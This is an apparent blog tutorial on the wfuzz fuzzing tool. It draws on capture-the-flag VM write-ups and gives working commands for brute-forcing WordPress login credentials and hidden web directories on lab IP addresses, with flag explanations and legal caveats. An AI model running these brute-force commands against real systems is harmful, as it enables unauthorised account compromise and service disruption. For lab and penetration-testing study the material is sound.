I like wfuzz, I find it pretty intuitive to use and decided to write a little bit about a couple of use cases for this neat little tool.

All the usual caveats, there are so very many ways available to skin a cat, so this is by no means the only, or indeed necessarily the best way. Burp-suite pro users for example are unlikely to find this offers much they don’t already have and then there’s Hydra and undoubtedly loads of other tools. I am sure they all offer similar/better/worse performance and features (delete as applicable depending on where your alliances lay).

Lets start at the beginning:

It can be found (I think) as part of the default Kali Linux build. It’s also available on git hub. It is designed so you don’t have to do this:

It’s also free, which is a bonus.

Use case one: Brute forcing user names and passwords

Going back through some of my previous posts and I found the following example of it in use.

wfuzz -c -z file,/root/Documents/MrRobot/fsoc.dic — hs Invalid -d “log=FUZZ&pwd=aaaaa” http://192.168.240.129/wp-login.php

Which is: -c : makes the output colourful, this is a personal choice. -z : payload/wordlist — the list you want it to use. — hs : ignore response containing Invalid, h in this instance being hide and s is actually the regex switch in this instance. -d : the post request FUZZ : the section of the post I want to fuzz

To clarify what is going on here, I had identified that a response containing ‘Invalid’ on this particular WordPress install occurred when an incorrect user name was entered, so the above string was used to pass the contents of the fsoc.dic file into the section of the request ‘FUZZ’. The ‘FUZZ’ variable is wfuzz’s way of identifying where it should be inserting the word from the wordlist. Then I told it where to send the attempts.

After my brute force returned a user name that didn’t generate an ‘Invalid’ I essentially reversed the location of the FUZZ variable and made a tweak to the response to ignore.

wfuzz -c -z file,/root/Documents/MrRobot/fsoc.dic — hs incorrect -d “log=eliott&pwd=FUZZ” http://192.168.240.129/wp-login.php

As I used the same word list on both sections of this I could done this in one string with something similar to the following

wfuzz -c -z file,/root/Documents/MrRobot/fsoc.dic -z file,/root/Documents/MrRobot/fsoc.dic —hs Invalid —hs incorrect -d “log=FUZZ&pwd=FUZ2Z” http://192.168.240.129/wp-login.php

What is happening here is I am defining two files (-z file,) which in our case are the same, then defining both responses I don’t wish to see and finally adding FUZZ and FUZ2Z into the post request (you could use FuZ3Z, FuZ4Z etc if you wanted to brute force multiple values). The order of the files specified is important at this stage. If you were using one file for user names (FUZZ) and one for passwords (FUZ2Z) you would have to ensure that they were presented in this order. An example of which:

Users.txt is specified first then pass.txt and looking at the post request you can see that is the order of submission.

Use case 2: Directory Brute Forcing

Here is the string (again lifted from one of my other posts).

root@kali:~/necromancer# wfuzz -c -z file,/root/necromancer/thing.txt — hc 404 http://192.168.56.102/amagicbridgeappearsatthechasm/FUZZ

Hopefully you followed along with use case one simply enough, if you did this one should be pretty straight forward too. In this example I am not passing a post request, I am literally brute forcing the location I am ‘going’ to and ignoring anything that comes back as a 404 response. (hc = hide code)

Again if we wished to add multiple variables in the process would be exactly the same as with user names and would look something like this:

root@kali:~/necromancer# wfuzz -c -z file,/root/necromancer/thing.txt -z file,/usr/share/wordlists/rockyou.txt — hc 404 http://192.168.56.102/amagicbridgeappearsatthechasm/FUZZ/FUZ2Z

All the brute force…..

In this next example I am doing a very similar thing but passing it the -H parameter which is

-H headers : Use headers (ex:”Host:www.mysite.com,Cookie:id=1312321&user=FUZZ")

If memory serves me correctly this VM/Site required you to look like an iphone to get access. Everything else is the same as previous examples.

Things to remember:

Brute forcing is noisy , if there is any monitoring in play you are going to stand out a mile.

, if there is any monitoring in play you are going to stand out a mile. Brute force can be the same as dos, if you overwhelm a system or service with requests you can impact that service, if this isn’t your system or service and you don’t have explicit permission, you’re likely breaking a law.

Even if you don’t knock it over, without the relevant permission you are still likely breaking a law.

All this being said if you’re looking for a multi use brute force tool, you could do much worse than this.